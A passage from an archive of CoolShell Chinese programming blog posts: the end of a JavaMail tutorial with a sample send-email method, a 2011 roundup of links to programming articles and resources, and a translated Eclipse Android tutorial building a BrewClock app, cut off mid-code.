session = Session.getDefaultInstance(props, auth);\n```\n\n#### Transport\n\n\n发送消息最后的一步就是使用Transport类，你可以通过两种方法来进行发送。  \n\nTransport 是一个抽象类，你可以调用它静态的send() 方法来发送\n\n\n`Transport.send(message);`\n\n\n或者，你可以为你使用的协议从session中取得一个指定的实例，\n\n\n\n```\nTransport transport = session.getTransport(\"smtp\");\ntransport.sendMessage(message, message.getAllRecipients());\ntransport.close();\n```\n\n#### Store and Folder\n\n\n这两个类重要用于取得信息。在创建了Session之后，需要连接到一个 Store ，你需要告诉Store你使用的是什么协议。\n\n\n\n```\n// Store store = session.getStore(\"imap\");\nStore store = session.getStore(\"pop3\");\nstore.connect(host, username, password);\n```\n\n在连接到一个 Store 后，你可以得到一个 Folder，当然，这个Floder必须是打开的。\n\n\n\n```\nFolder folder = store.getFolder(\"INBOX\");\nfolder.open(Folder.READ_ONLY);\nMessage message[] = folder.getMessages();\n```\n\n如果使用POP3那么，INDEX是唯一可用的文件夹。如果使用的是IMAP，你就可以使用其它的文件夹。\n\n\n#### 代码\n\n\n\n```\npublic boolean sendEmail(Map<String, String> data) {\n    // 创建Properties 对象\n    Properties props = System.getProperties();\n    props.put(\"mail.smtp.host\", Constants.HOST); // 全局变量\n    props.put(\"mail.smtp.auth\", \"true\");\n\n    // 创建邮件会话\n    Session session = Session.getDefaultInstance(props,\n    new Authenticator() { // 验账账户\n        @Override\n        public PasswordAuthentication getPasswordAuthentication() {\n            return new PasswordAuthentication(Constants.USERNAME,\n                                              Constants.PASSWORD);\n        }\n    });\n\n    try {\n        // 定义邮件信息\n        MimeMessage message = new MimeMessage(session);\n        message.setFrom(new InternetAddress(Constants.FROM));\n        message.addRecipient(\n            Message.RecipientType.TO,\n            new InternetAddress(\n                // 这里可以添加多个目的用户\n                data.get(Constants.EMAIL_TO)\n            )\n        );\n        // 添加邮件发送时间（不知道体现在哪儿）\n        message.setSentDate(new Date());\n        // 要编码，否则中文会出乱码，貌似这个方法是对数据进行了\n        //(\"=?GB2312?B?\"+enc.encode(subject.getBytes())+\"?=\")形势的包装\n        message.setSubject(MimeUtility.encodeText(data.get(Constants.EMAIL_SUBJECT), \"gbk\", \"B\"));\n\n        MimeMultipart mmp = new MimeMultipart();\n        MimeBodyPart mbp_text = new MimeBodyPart();\n        // \"text/plain\"是文本型，没有样式，\n        //\"text/html\"是html样式，可以解析html标签\n        mbp_text.setContent(data.get(Constants.EMAIL_TEXT),\n                            \"text/html;charset=gbk\");\n        mmp.addBodyPart(mbp_text); // 加入邮件正文\n\n        // 处理附件，可以添加多个附件\n        if (data.get(Constants.EMAIL_ATTACHMENT) != null) {\n            String[] files = data.get(Constants.EMAIL_ATTACHMENT).split(\",\");\n            if (files.length != 0) {\n                for (String file : files) {\n                    MimeBodyPart mbp_file = new MimeBodyPart();\n                    FileDataSource fds = new FileDataSource(file);\n                    mbp_file.setDataHandler(new DataHandler(fds));\n                    mbp_file.setFileName(MimeUtility.encodeText(fds.getName(), \"gbk\", \"B\"));\n                    mmp.addBodyPart(mbp_file);\n                }\n            }\n        }\n        message.setContent(mmp);\n        // message.setText(data.get(Constants.EMAIL_TEXT));\n\n        // 发送消息\n        // session.getTransport(\"smtp\").send(message); //也可以这样创建Transport对象\n        Transport.send(message);\n        return true;\n    } catch (Exception e) {\n        e.printStackTrace();\n        return false;\n    }\n}\n\n```\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\nThe post [JavaMail使用](https://coolshell.cn/articles/4261.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-4-6 一些有意思的文章和资源.md",
    "content": "---\nlayout: post\ntitle: 一些有意思的文章和资源\ndate: 2011/4/6/ 0:47:40\nupdated: 2011/4/6/ 0:47:40\nstatus: publish\npublished: true\ntype: post\n---\n\n又到了向大家介绍一些最近我在网上发现的有价值的东西的时候了。（下面的链接中很多都被墙）\n\n\n* 以前向大家介绍过《[一些重要的算法](https://coolshell.cn/articles/2583.html \"一些重要的算法\")》和《[算法和数据结构词典](https://coolshell.cn/articles/1499.html \"算法和数据结构词典\")》，不过，你知道有些什么样比较奇怪的数据结构吗？wikipedia上的这个词条可以让你看看[各种不同的数据结构](http://en.wikipedia.org/wiki/List_of_data_structures)。比如：[Skip lists](http://en.wikipedia.org/wiki/Skip_list)， [Bloom filters](http://en.wikipedia.org/wiki/Bloom_filter)，或是什么[Dancing links](http://en.wikipedia.org/wiki/Dancing_Links)。你也许会像一个以“[如何学好C++](https://coolshell.cn/articles/4119.html \"如何学好C++语言\")”中的朋友们所说的，不削于这种所谓的“奇技淫巧”，甚至觉得这太根本不实用。其实，这些东西还是有用的，至少对你开阔思路，活动编程思维能力很有意义。\n\n\n* 本站的关于[排序的文章](https://coolshell.cn/tag/%e6%8e%92%e5%ba%8f)有很多，对于排序算法来说，其受到要排序的个数和数据的杂乱程度的影响，我们知道比较稳定的排序算法是快速排序和归并排序，归并排序对于大量的数据排序效果是非常好的，尤其是我们可以进行并行的排序。这里有一个并行归并排序的算法的源代码，你可以参考一下 – “[Parallel Merge Sort](http://dzmitryhuba.blogspot.com/2010/10/parallel-merge-sort.html)”。\n\n\n* 说到“奇技淫巧”和算法，这里有一个文章向你展示了C语言中使用位操作可能完成的各种算法，很有意思。请参看 – “[The Aggregate Magic Algorithms](http://aggregate.ee.engr.uky.edu/MAGIC/)”\n\n\n* 这里有篇文章教你如何取得一个[在线的哈佛大学的硕士学位](http://www.productivity501.com/harvard-masters-degree/6463/)，文章中说了一些相关的事宜，包括一些收费情况，并且展示了一张文凭。这里有一个网页说明了[哈佛软件工程学位](http://blog.markwshead.com/911/harvard-online-masters-degree-in-software-engineering/)（Software Engineering）的所需要学习的科目，比如：Java和分布式计算，分布式/企业级计算，设计模式和Java，通讯协议，高级数据网络，Web开发，计算理论，Perl实践，Unix系统编程……我不知道我们的国家各个大学的硕士在学什么，因为我没有读过硕士，但好像现在的计算机研究生只是导师用来挣钱的免费资源，而且，实在不知道研究生在校研究什么。不管怎么样，从这看来，我们的大学好像并没有教给学生计算机的技术。比如在“[如何学好C语言](https://coolshell.cn/articles/4102.html \"如何学好C语言\")”和“[如何学好C++语言](https://coolshell.cn/articles/4119.html \"如何学好C++语言\")”中我提到的那些书，那些才是大学里应该学的。我国的教育还真不是一般的落后，不过你不妨试试哈佛的在线学位。\n\n\n\n* 关于网上的电子书，以前本站介绍过一 个[免费电子书列表](https://coolshell.cn/articles/2775.html \"免费电子书列表\")，这里再推荐一个网站，上面有很多很多很不错的计算机科学方面的电子书，当然，都是英文的。<http://www.sciencebooksonline.info/computer-science.html>。我知道你对英文发憷，但是，朋友，你一定要学好英文啊，这不仅仅只是为了学好计算机啊。\n\n\n* 还记得本站的“[64位平台开发的注意事项](https://coolshell.cn/articles/3512.html \"64位平台C/C++开发注意事项\")”吗？Intel Software Network上有这样一篇文章其收集了一些在64位平台上经常出现的错的，图文并茂的，相当的不错，强力推荐给大家 – “[A Collection of Examples of 64-bit Errors in Real Programs](http://software.intel.com/en-us/articles/collection-of-examples-of-64-bit-errors-in-real-programs/)”\n\n\n* 你爱好汇编语言吗？如果你是汇编的痴迷者，那么mac.com上的[这个列表](http://homepage.mac.com/randyhyde/webster.cs.ucr.edu/index.html)对你很有意义了。里面的相关文章非常不错哦。而这里有一个[Step by Step的x86汇编编程教程](http://www.duntemann.com/assembly.html)。\n\n\n* 还记得那篇“UI和UX的差别”吗？呵呵。这里有一个网站，给了你30+条UX用户体验的建议，我觉得非常不错，转给大家<http://uxmyths.com/>\n\n\n* 想在Visual Studio 2010下编写Python吗？那么，向你介绍这个微软官方的插件[Python  Tools for Visual Studio](http://pytools.codeplex.com/)。你还可以在VS中调试你的Python代码。挺不错的。\n\n\n* 在VS里开发Python，那么就可以使用Eclipse编写Android程序，这里有一篇教程教你 – [Get Started Developing For Android With Eclipse, Reloaded](http://www.smashingmagazine.com/2011/03/28/get-started-developing-for-android-with-eclipse-reloaded/)\n\n\n* 说到了Android，必然要提一提iOS。想学iOS编程吗？这里有一篇教程很不错，如果你是一个什么也不懂的初学者，你不妨看看这篇文章“[Build iOS App from Scrach](http://designthencode.com/scratch/)”\n\n\n* 查JDK是不是有点不好查？这里有一个网站可以方便地查找JDK和Android的API – [http://www.kiwidoc.com](http://www.kiwidoc.com/)，我觉得很不错哦。\n\n\n* 不知道你是不是一个怀旧的人，你是否还记得以前用C语言开发Web的时光呢？我记得我97-98年的时候学过用C开发web应用，觉得挺难学的，我还没有完全搞懂，就出现了ASP，PHP……。这两天看到一篇 [C++ Web Programming](http://www.tutorialspoint.com/cplusplus/cpp_web_programming.htm)，讲得真是很系统啊，从处理HTTP Header，到处理表单和上传文件。看完后，感觉有点坐着时光机器回到大学时的感觉。呵呵。\n\n\n* 说到Web编程，现在的Web编程和以前很不一样了。你觉得未来的Web编程的技术会是什么样的？NoSQL? 服务器端的Javascript? 各种像Amazon的EC2或S3的云计算平台？更新更强大的开发框架？HTML 5/CSS 3？这里有一篇文章你可以去看看 – “[7 Exciting Web Development Trends for 2011](http://net.tutsplus.com/articles/general/7-exciting-web-development-trends-for-2011/)”.\n\n\n* 无论Web编程到了什么时候，安全问题永远都是你需要注意的。这里有一篇文章“[What Every Web Programmer Needs To Know About Security](http://code.google.com/intl/zh-CN/edu/submissions/daswani/index.html)” –  每一个Web程序员都应该知道的安全问题。\n\n\n* 再推荐两个关于WebGL的游戏演示，一个是3D的比较好玩的有点[像贪吃蛇一样的游戏](http://cycleblob.com/)，另一个是[RPG式的游戏](http://nicolas-bonnel.github.com/WARPG/index.html)，第三人称视角，看上去很不错。\n\n\n* 这里有20款图标，<http://www.tutorialcadet.com/20-user-interface-icon-sets-for-developers/>，也许会对你的UI开发有帮助。wikipedia上也有一些[免费的图标](http://commons.wikimedia.org/wiki/Comparison_of_icon_sets)。\n\n\n* 在以前的“[一些资源介绍](https://coolshell.cn/articles/3480.html \"一些有意思的贴子和工具\")”的文章中介绍过[一篇教程](http://mikeos.berlios.de/write-your-own-os.html)教你用x86的汇编做一个操作系统， 这里又有一篇文章向你展示了一个最最简单的操作系统内核，这个操作系统叫做[Itsy-OS Kernel](http://www.retroprogramming.com/2011/03/itsy-os-simple-preemptive-switcher.html)，你可以看看。\n\n\n* 你还记得Google在四月一日愚人节那天搞的那个[Google Gmail Motion](http://mail.google.com/mail/help/motion.html)吗？用你的body Language写邮件？呵呵，不过，某人使用微软的Kinect做到了，视频在这里：<http://www.youtube.com/watch?v=Lfso7_i9Ko8>。项目主页在这里：<http://projects.ict.usc.edu/mxr/faast/>。\n* 不知道你看过电影《创战纪》了吗？我个人觉得电影很一般。不过你想知道里面的一些特效是用什么样的技术怎么做的吗？呵呵，其中的一个程序员写了一篇博文 – “[Tron Legacy](http://jtnimoy.net/workviewer.php?q=178)”，我看到了Unix, C++等。这篇文章很不错。\n\n\n好的，就这么多，也欢迎你分享你所看到的和听到的东西。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/6010.html)[一些有意思的算法代码](https://coolshell.cn/articles/6010.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/9886.html)[二叉树迭代器算法](https://coolshell.cn/articles/9886.html)\nThe post [一些有意思的文章和资源](https://coolshell.cn/articles/4220.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-4-7 Eclipse开发Android应用程序入门.md",
    "content": "---\nlayout: post\ntitle: Eclipse开发Android应用程序入门\ndate: 2011/4/7/ 8:40:36\nupdated: 2011/4/7/ 8:40:36\nstatus: publish\npublished: true\ntype: post\n---\n\nBy [Chris Blunt](http://www.smashingmagazine.com/author/chris-blunt/ \"Posts by Chris Blunt\")\n\n\n**翻译：赵锟**  \n\n原文出处：<http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/>\n\n\n如今的移动设备应用程序开发充满着让人振奋的东西。功能强大的硬件支持，平板电脑，多样的软件平台（塞班 OS，iOS，WebOS，Windows Phone 7…)，移动设备开发者前景充满了机会和挑战。\n\n\n当你想要开始开发你的移动设备程序时，如此多的选择可能让你产生困扰。究竟应该选择神马平台？我应该学习神马语言？为你计划的项目选择神马工具？在本教程中，你将学会如何在Google公司的开源移动设备操作系统Android下开发应用程序。\n\n\n### 为神马选Android\n\n\nAndroid是一个基于Linux内核的开源平台， 并且被安装在来自于不同厂商的上千种设备中。Android将各种移动设备的硬件如 电子罗盘，摄像头，GPS，方向感应，等等暴露给你的应用程序。  \n\n  \n\nAndroid的免费开发工具可以让你以0成本开始编写你的软件。当你想向世界展示你的应用程序的时候，你可以将你的软件发布到Google的 Android 市场。向Andriod Market 发布程序只一次性的收取注册费用（25元），并且不像苹果的App Store ，对每一次的提交都要做检查，除非你的程序明显地违法，在经过一个快速检查的流程后，才能让你的程序提供给客户下载和购买。\n\n\n下面是Android对于开发者的优点：\n\n\n* Android的SDK可以在Windows,Mac和Linux上运行，因此你不需要为了开发环境支付额外的新硬件投入。（译者注：我曾近在Win7 64x + VMWare上成功的安装Mac Snow leopard + XCode的开发环境，对于爱用盗版的人来说，这点MS优势不是很大啊）\n* 构建于JAVA上的SDK。如果你熟悉JAVA语言，你就是事半功倍了。（译者注：这个酷壳有篇文章讨论过，大家可以参看：<https://coolshell.cn>）\n* 你只要在Android Market上发布应用程序，你将有潜在的成千上万的用户。而且你不一定非要把程序发布在Android Market上，你还可以在你的博客上发布。而且有传言，Amazon已近在最近准备搭建他们自己的Android 应用程序商店了。\n* 除了了技术性的[SDK 文档](http://developer.android.com/sdk/index.html)外,还可以找到其他更多的使用者和开发者的资源。\n\n\n闲话少说——下面让我们进入正题，开始开发我们的Android应用程序。\n\n\n### 安装Eclipse和Android SDK\n\n\nAndroid应用程序的推荐开发环境是带有Android开发包插件(Android Devlopment Toolkit (ADT))的Eclipse。我在这里简要说明一下安装流程。如果你需要更多的细节，Google的[开发人员网页](http://developer.android.com/sdk/)中详尽地解释了具体的安装配置过程\n\n\n* 为你的平台下载[Android SDK](http://developer.android.com/)（Windows ， Mac OS X 或者 Linux）。\n* 在你的硬盘上解压下载文件 (在Linux, 我使用 /opt/local/).\n* 如果你没有安装Eclipse，下载并安装[Eclipse JAVA 集成开发环境](http://eclipse.org/downloads/packages/eclipse-ide-java-developers/galileosr2)包。 用于编程的话, Google推荐使用Eclipse 3.5 (Galileo).\n* 运行Eclipse 并选择*Help->Install New Software*.\n* 在Available Software窗口中点击Add按钮。\n* 进入 Android Development Tools 的*Name*输入框, 在Location 输入框输入https://dl-ssl.google.com/android/eclipse/\n* 检查可用软件中有Developer Tools并点击OK按钮。这将安装Android Development Tools 和DDMS, Android的调试工具。\n\n\n![](../wp-content/uploads/2011/04/install.gif \"install\")\n\n\n* 点击Next和Finish按钮以完成安装，安装完成后，你需要重启你的Eclipse一次。\n* 在Eclipse重启后，选择Window->Preference 后你可以在分类列表中看到Android这一项了。\n* 现在需要告诉Eclipse，你的Android SDK安装在什么地方。点击Android项后浏览选择你解压后的Android SDK所在的路径。例如/opt/local/android-sdk。\n\n\n![](../wp-content/uploads/2011/04/eclipse_android_preferences.jpg \"eclipse_android_preferences\")\n\n\n* 点击OK按钮，保存信息。\n\n\n### 选择Android 平台\n\n\n在你开始编写Android应用程序之前，你需要为你需要开发应用程序的Android设备下载SDK平台。每个平台都有可以安装在用户设备上的不同版本的SDK。对于Android1.5或以上版本，有两个可用的平台： *Android Open Source Project* 和 *Google*.\n\n\n*Android Open Source Project* 平台是开源的，但是不包括Google公司的私有化扩展，比如Google Map。如果不选择使用Google的API，Google的地图功能就不会在你的应用程序中生效。除非你有特别的原因，否则我们推荐你选择Google平台，因为这样你可享受到Google的扩展类库提供的便利。\n\n\n* 选择*Window Android SDK and AVD Manager*.\n* 点击左栏中的*Available Packages* 并选择选择Respository中有效的Android SDK平台。\n* 你可以选择列表中所需要的平台，或全选下载所有有效的平台。当你选择完毕，单击*Install Selected* 并完成安装。\n\n\n![](../wp-content/uploads/2011/04/sdk.jpg \"sdk\")  \n\n一旦成功的下载所有的平台后，你就可以准备开始开发Android应用程序了。\n\n\n### 创建一个新的Android项目\n\n\nEclipse的新建项目向导能为你创建一个新的Android项目，并生成可以开始运行的文件和代码。通过向导生成代码，可以让你马上得到一个Android程序运行的直观映像并为你提供了一个帮助你快速入门的方法：\n\n\n* 选择 *File->New->Project…*\n* 选择*Android Project*\n* 在*New Project* 对话框, 键入如下的设置:\n\n\n[code]  \n\nProject Name: BrewClock  \n\nBuild Target: Google Inc. 1.6 (Api Level 4)  \n\nApplication Name: BrewClock  \n\nPackage Name: com.example.brewclock  \n\nCreate Activity: BrewClockActivity  \n\nMin SDK Version: 4  \n\n[/code]\n\n\n![](../wp-content/uploads/2011/04/eclipse_new_project_settings.jpg \"eclipse_new_project_settings\")\n\n\n在点击了完成按钮之后，Eclipse将为你创建一个新的可以运行的Android项目。注意，你通知了Eclipse生成了一个叫做BrewClockActivity的Activity。这个Activity的代码用于运行你的应用程序。生成的代码将在程序运行时非常简单地显示一条“Hello World”消息。\n\n\n#### 包\n\n\n包名是你的应用程序标示。当你开始准备在Android Market上发布你的应用程序的时候，Android用这个标识符精确地记录你的应用程序的更新过程，因此让包名唯一是非常重要的。尽管我们在这里使用了com.example.brewclock这样的名字空间，对于真实的应用程序，你应该选择类似于com.你的公司名.你的应用程序名 这样的包名。\n\n\n#### SDK 版本\n\n\nMin SDK Version 是你的Android程序所能运行得最早版本号。对于每个新发布的Android，SDK会增加并修改一些方法。通过选择一个版本号，Android（Android Market）会知道你的应用程序能运行在等于或晚于指定版本的设备之上。\n\n\n### 运行你的应用程序\n\n\n现在让我们开始在Eclipse中运行我们的应用程序。由于是第一次运行，Eclipse将会询问你的项目类型：\n\n\n* 选择*Run->Run* 或 按下 *Ctrl+F11*.\n* 选择*Android Application* 并点击 *OK* 按钮.\n\n\nEclipse 将会在一个Android设备上运行一个应用程序。在这个时候，由于你没有任何Android设备，因此在运行时一定会返回一个失败，并且询问你是否要新建一个Android的虚拟设备。（AVD）  \n\n![](../wp-content/uploads/2011/04/eclipse_no_avd.jpg \"eclipse_no_avd\")\n\n\n#### Android 虚拟设备\n\n\nAndroid 虚拟设备 (AVD) 是一个模拟真实世界中Android设备的模拟器，例如移动电话或平板电脑。你可以在不买任何真实Android设备情况下，使用AVD测试你的应用。\n\n\n你可以创建任意多个你喜欢的AVD，每个可以建立在不同版本的Android平台之上。对于你创建的每个Android设备，你可以配置不同的硬件属性，比如是否具有物理键盘，是否支持GPS，摄像头的像素，等等。\n\n\n在你开始运行你的应用程序之前，你需要创建你的AVD，来运行指定的SDK平台（Google APIs 1.6）。\n\n\n现在让我开始:\n\n\n* 如果还没有开始运行你的应用程序，点击run（或按下 *Ctrl+F11*）。\n* 当目标设备弹出警告，点击*Yes* 以创建新的AVD。\n* 单击*Android SDK and AVD Manager* 对话框内的*New* 按钮.\n* 为你的AVD键入如下的设置：\n\n\n[code]  \n\nName: Android\\_1.6  \n\nTarget: Google APIs (Google Inc.) – API Level 4  \n\nSD Card Size: 16 MiB  \n\nSkin Built In: Default (HVGA)  \n\n[/code]\n\n\n* 单击 *Create AVD* 让Android为你创建一个新虚拟设备。\n* 关闭the *Android SDK and AVD Manager* 对话框.\n\n\n![](../wp-content/uploads/2011/04/sdk_manager_new_avd.jpg \"sdk_manager_new_avd\")\n\n\n#### 运行代码\n\n\n再次运行你的应用程序（*Ctrl+F11*）。 Eclipse 将build 你的项目并运行一个新的AVD。记住，AVD模拟了一个完全的Android系统，因此你需要有耐心来等待这个缓慢的启动过程，就如同你重启真实的Android设备一样。一个好的做法是不要关闭你的AVD，直到你完成了你一天的工作。  \n\n当你的模拟器启动后，Eclipse自动地安装并运行你的应用程序。\n\n\n![](../wp-content/uploads/2011/04/app_running-550-e1287474474253.jpg \"app_running-550-e1287474474253\")\n\n\n### 开发你第一个Android应用\n\n\n生成的代码能良好的运行，但是你真正想要的是开发一个真实的应用程序。为此，我们首先果一个咸蛋的设计流程，并开始创建一个可以让你部署在Android设备上的应用。\n\n\n大部分的开发者（包括我自己）都喜欢每天一杯咖啡或茶。在下一节中，你将开发一个简单的泡茶计数器应用程序来记录用户泡了多少杯茶，并为泡每杯茶做一个定时器。\n\n\n你可以从[GitHub](http://github.com/cblunt/brewclock)下载整个教程的源代码.\n\n\n#### 设计用户界面\n\n\n在开发任何Android应用程序之前的第一步就是设计和开发用户界面。下面是一个我们这个应用程序的用户界面的一个概览。\n\n\n![](../wp-content/uploads/2011/04/design_sketch.jpg \"design_sketch\")\n\n\n用户将能通过+和-按钮设置一个泡茶的定时器。当单击开始按钮，定时器将开始按指定的时间递减。除非用户再次点击按钮以取消计时，否则当定时器为0的时候，累计的泡茶计数brew将增加1。\n\n\n#### 开发用户界面\n\n\nAndroid 用户界面或布局*layouts*, 是通过XML文档来描述的，可以在项目的res/layouts目录下找到。在之前运行在模拟器上代码中，我们可以看到由eclipse自动生成的布局代码在res/layouts/main.xml 中。\n\n\nEclipse有一个图形化的布局设计器，通过在屏幕上的拖拽控制来完成布局的设计，然而，我却发现直接写XML并使用图形布局来预览是更容易的方式。\n\n\n现在让我们对main.xml做一些工作以达到上图的效果：\n\n\n* 在Eclipse中通过双击PackageExplorer的res/layouts/main.xml 来打开xml。\n* 点击屏幕下方main.xml 来切换为xml视图。\n\n\n将main.xml中内容改为如下的内容：\n\n\n[code]  \n\n# /res/layouts/main.xml  \n\n<?xml version=\"1.0\" encoding=\"utf-8\"?>  \n\n<LinearLayout  \n\n xmlns:android=\"http://schemas.android.com/apk/res/android\"  \n\n android:orientation=\"vertical\"  \n\n android:layout\\_width=\"fill\\_parent\"  \n\n android:layout\\_height=\"fill\\_parent\">  \n\n <LinearLayout  \n\n android:orientation=\"horizontal\"  \n\n android:layout\\_width=\"fill\\_parent\"  \n\n android:layout\\_height=\"wrap\\_content\"  \n\n android:padding=\"10dip\">  \n\n <TextView  \n\n android:layout\\_width=\"wrap\\_content\"  \n\n android:layout\\_height=\"wrap\\_content\"  \n\n android:textSize=\"20dip\"  \n\n android:text=\"Brews: \" />  \n\n <TextView  \n\n android:layout\\_width=\"fill\\_parent\"  \n\n android:layout\\_height=\"wrap\\_content\"  \n\n android:text=\"None\"  \n\n android:gravity=\"right\"  \n\n android:textSize=\"20dip\"  \n\n android:id=\"@+id/brew\\_count\\_label\" />  \n\n </LinearLayout>  \n\n <LinearLayout  \n\n android:orientation=\"horizontal\"  \n\n android:layout\\_width=\"fill\\_parent\"  \n\n android:layout\\_height=\"wrap\\_content\"  \n\n android:layout\\_weight=\"1\"  \n\n android:gravity=\"center\"  \n\n android:padding=\"10dip\">  \n\n <Button  \n\n android:id=\"@+id/brew\\_time\\_down\"  \n\n android:layout\\_width=\"wrap\\_content\"  \n\n android:layout\\_height=\"wrap\\_content\"  \n\n android:text=\"-\"  \n\n android:textSize=\"40dip\" />  \n\n <TextView  \n\n android:id=\"@+id/brew\\_time\"  \n\n android:layout\\_width=\"wrap\\_content\"  \n\n android:layout\\_height=\"wrap\\_content\"  \n\n android:text=\"0:00\"  \n\n android:textSize=\"40dip\"  \n\n android:padding=\"10dip\" />  \n\n <Button  \n\n android:id=\"@+id/brew\\_time\\_up\"  \n\n android:layout\\_width=\"wrap\\_content\"  \n\n android:layout\\_height=\"wrap\\_content\"  \n\n android:text=\"+\"  \n\n android:textSize=\"40dip\" />  \n\n </LinearLayout>  \n\n <Button  \n\n android:id=\"@+id/brew\\_start\"  \n\n android:layout\\_width=\"fill\\_parent\"  \n\n android:layout\\_height=\"wrap\\_content\"  \n\n android:layout\\_gravity=\"bottom\"  \n\n android:text=\"Start\" />  \n\n</LinearLayout>\n\n\n[/code]\n\n\n正如你所见的，Android的XML布局文件是繁琐的，但却能让你控制到屏幕的各个元素。\n\n\n在Android中最重要的接口元素是布局Layout容器，例如例子中使用的LinearLayout 。这些元素对于用户是不可见的,但是却扮演者例如Buttons 和TextViews这些元素的布局容器。\n\n\nAndroid中有几种不同类型的布局视图layout view，每一种都用于开发不同的布局。如同LinearLayout 和AbsoluteLayout ，TableLayout 可以让你使用更为复杂的基于表格结构的布局。你可以在SDK的API文档的[通用布局对象](http://developer.android.com/guide/topics/ui/layout-objects.html)中查找到更多的布局。\n\n\n#### 关联你的布局Layout与代码\n\n\n保存你的布局，在Eclipse中点击*Run*图标或按下*Ctrl+F11*重新在模拟器中运行你的程序。你现看到不是之前出现的Hello World消息了，你将看到Android显示了一个新的界面。\n\n\n如果点击界面上的任何按钮，他们将期望的显示为高亮，但是不会执行任何操作。现在让我们在布局修改后改进一下我们的源码：\n\n\n# /src/com/example/brewclock/BrewClockActivity.java\n\n\n\n```\n\n...\nimport android.widget.Button;\nimport android.widget.TextView;\n\npublic class BrewClockActivity extends Activity {\n  /** Properties **/\n  protected Button brewAddTime;\n  protected Button brewDecreaseTime;\n  protected Button startBrew;\n  protected TextView brewCountLabel;\n  protected TextView brewTimeLabel;\n\n  ...\n }\n\n```\n\n下一步,我们将修改调用onCreate。当Android启动你的应用程序的时候，Android会首先调用这个方法。 在Eclipse生成的代码中，onCreate把activity的视图设置成R.layout.main。这行代码告诉Android解释我们的布局配置XML文件，并显示它。\n\n\n#### 资源对象\n\n\n在Android中，R是一个自动生成的对象，这是一个特殊的对象，你可以在代码中通过这个对象访问项目中的资源（布局，字符串，菜单，图标，…） 。每个资源都有一个给定的id。在上面的那个布局文件中，有一些@+id XML 属性。我们将通过这些值来关联布局中的Buttons 与TextViews和我们的代码和：\n\n\n# /src/com/example/brewclock/BrewClockActivity.java\n\n\n\n```\n\n...\npublic class BrewClockActivity extends Activity {\n  ...\n  public void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n    setContentView(R.layout.main);\n\n    // Connect interface elements to properties\n    brewAddTime = (Button) findViewById(R.id.brew_time_up);\n    brewDecreaseTime = (Button) findViewById(R.id.brew_time_down);\n    startBrew = (Button) findViewById(R.id.brew_start);\n    brewCountLabel = (TextView) findViewById(R.id.brew_count_label);\n    brewTimeLabel = (TextView) findViewById(R.id.brew_time);\n  }\n}\n\n```\n\n#### 监听事件\n\n\n为了检测到用户单击我们的按钮，我们需要实现一个监听器listener。你可能会从其他的事件驱动系统中熟悉监听器或回调函数*callbacks*。比如Javascript/JQuery事件或Rails的回调函数。\n\n\nAndroid通过Listener接口提供相似的机制，例如OnClickListener，这个接口中定义了那些会被事件触发的方法。当用户点击屏幕的时候，实现OnClickListener 接口将会通知你的应用程序，并告诉他们所按得屏幕按钮。你当然也需要告诉每个button的ClickListener，以便Android知道具体通知到那个监听器：\n\n\n# /src/com/example/brewclock/BrewClockActivity.java\n\n\n\n```\n\n...\n// Be sure not to import\n// `android.content.dialoginterface.OnClickListener`.\nimport android.view.View.OnClickListener;\n\npublic class BrewClockActivity extends Activity\n  implements OnClickListener {\n  ...\n  public void onCreate(Bundle savedInstanceState) {\n    ...\n    // Setup ClickListeners\n    brewAddTime.setOnClickListener(this);\n    brewDecreaseTime.setOnClickListener(this);\n    startBrew.setOnClickListener(this);\n  }\n  ...\n  public void onClick(View v) {\n    // TODO: Add code to handle button taps\n  